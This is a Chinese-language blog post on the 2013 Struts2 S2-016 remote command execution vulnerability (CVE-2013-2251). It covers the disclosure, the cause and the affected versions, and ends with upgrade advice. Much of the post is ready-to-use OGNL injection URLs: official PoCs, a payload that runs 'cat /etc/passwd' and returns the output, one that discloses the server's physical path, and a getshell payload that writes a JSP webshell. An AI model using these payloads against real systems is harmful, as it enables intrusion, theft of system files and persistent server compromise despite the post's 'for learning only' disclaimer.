Struts2的官网在17号上午又公布了一个远程命令执行漏洞,随后各种版本的利用工具满天飞,对于wooyun和某些安全工程师童鞋来说,今天应该是备受压力和煎熬的一天!
17号上午11点空虚浪子心大牛的微博发了一条内容,随后经过各种大牛的转播,引爆了又一次的struts2远程命令执行漏洞换rank的浪潮!上一次struts2远程命令执行漏洞大爆发还要追溯到2012年5月份左右,同样wooyun上各种刷rank的,当时那些童鞋刷的rank如今已经升值很多了!1rank=10QB=10元rmb了.当时拼凑过一篇文章:http://www./Article/201206/138097.html
关于这次struts2远程命令执行漏洞(s2-016),官方是这样描述这个漏洞产生原因的:
Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。
空虚浪子新大牛是这么描述这个漏洞的:”在struts中,框架接收到的用户输入,除了参数、值以外,还有其他地方,比如文件名。这个漏洞,是struts2对url中的文件名做了解析,导致的ognl代码执行。”
该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15, CVE编号为:CVE-2013-2251
官方公布的漏洞利用poc细节如下:
1),简单表达式,ongl表达式被求值
http://www./struts2/x.action?%25(3*4)
http://www./struts2/save.action?redirect:%25(3*4)
2),命令执行
1,http://www./struts2/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
2,http://www./struts2/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
3,http://www./struts2/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
下面总结了一些漏洞利用的exp:
命令执行:
http://www./struts2/login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
爆网站的物理路径:
http://www./struts2/login.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}
getshell,写入jsp一句话:
http://www./struts2/login.action?redirect:${%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll(“\\\\”,”/”),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
以上利用方法转载自互联网,仅供学习了解struts2,不要用作非法,后果自负!
漏洞修复建议:
官方强烈建议升级到struts2 2.3.15.1,该版本包含校正过的struts2核心库。
下载地址;http://struts./download.cgi#struts23151
有能力的公司,建议还是自己开发框架,不开源.一般的小菜白帽子也不可能黑盒测试获取相关漏洞,不像struts2开源的,各种挖洞大神都可以去读代码挖洞!POC一公布又是各种利用工具,稍微懂点软件使用的小菜都可以横扫各大网站了